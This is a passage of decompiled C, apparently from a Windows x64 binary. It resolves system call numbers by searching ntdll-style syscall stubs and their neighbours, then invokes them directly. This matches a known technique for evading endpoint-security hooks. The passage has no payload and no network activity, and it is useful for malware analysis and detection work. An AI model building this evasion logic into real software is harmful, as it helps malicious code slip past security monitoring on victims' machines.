              (((pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 3] == -0x48 &&
                (pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 6] == '\0')) &&
               (pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 7] == '\0')))))) {
            _DAT_140007048 = pcVar3;
            DAT_140007058 =
                 (ushort)(byte)pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 5] << 8 |
                 (byte)pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 4] + local_38;
            return 1;
          }
          local_38 = local_38 + 1;
        }
        _DAT_140007048 = pcVar3;
        DAT_140007058 =
             (ushort)(byte)pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 5] << 8 |
             (byte)pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 4] - local_38;
        return 1;
      }
      _DAT_140007048 = pcVar3;
      if (pcVar3[3] == -0x17) {
        local_34 = 1;
        while( true ) {
          if (500 < local_34) {
            return 0;
          }
          if ((((pcVar3[(int)((uint)local_34 * 0x20)] == 'L') &&
               (pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 1] == -0x75)) &&
              ((pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 2] == -0x2f &&
               ((pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 3] == -0x48 &&
                (pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 6] == '\0')))))) &&
             (pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 7] == '\0')) break;
          if (((((pcVar3[(int)((uint)local_34 * -0x20)] == 'L') &&
                (pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 1] == -0x75)) &&
               (pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 2] == -0x2f)) &&
              ((pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 3] == -0x48 &&
               (pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 6] == '\0')))) &&
             (pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 7] == '\0')) {
            DAT_140007058 =
                 (ushort)(byte)pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 5] << 8 |
                 (byte)pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 4] + local_34;
            return 1;
          }
          local_34 = local_34 + 1;
        }
        DAT_140007058 =
             (ushort)(byte)pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 5] << 8 |
             (byte)pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 4] - local_34;
        return 1;
      }
    }
    local_28 = local_28 + 1;
  } while( true );
}



longlong FUN_140005680(char *param_1)

{
  char *local_18;
  
  for (local_18 = param_1; *local_18 != '\0'; local_18 = local_18 + 1) {
  }
  return (longlong)local_18 - (longlong)param_1;
}



undefined2 FUN_1400056c0(void)

{
  return DAT_140007058;
}



void FUN_1400056d0(undefined4 param_1)

{
  DAT_140007000 = param_1;
  return;
}



undefined4 FUN_1400056e1(void)

{
  syscall();
  return DAT_140007000;
}



Editor is loading...
Leave a Comment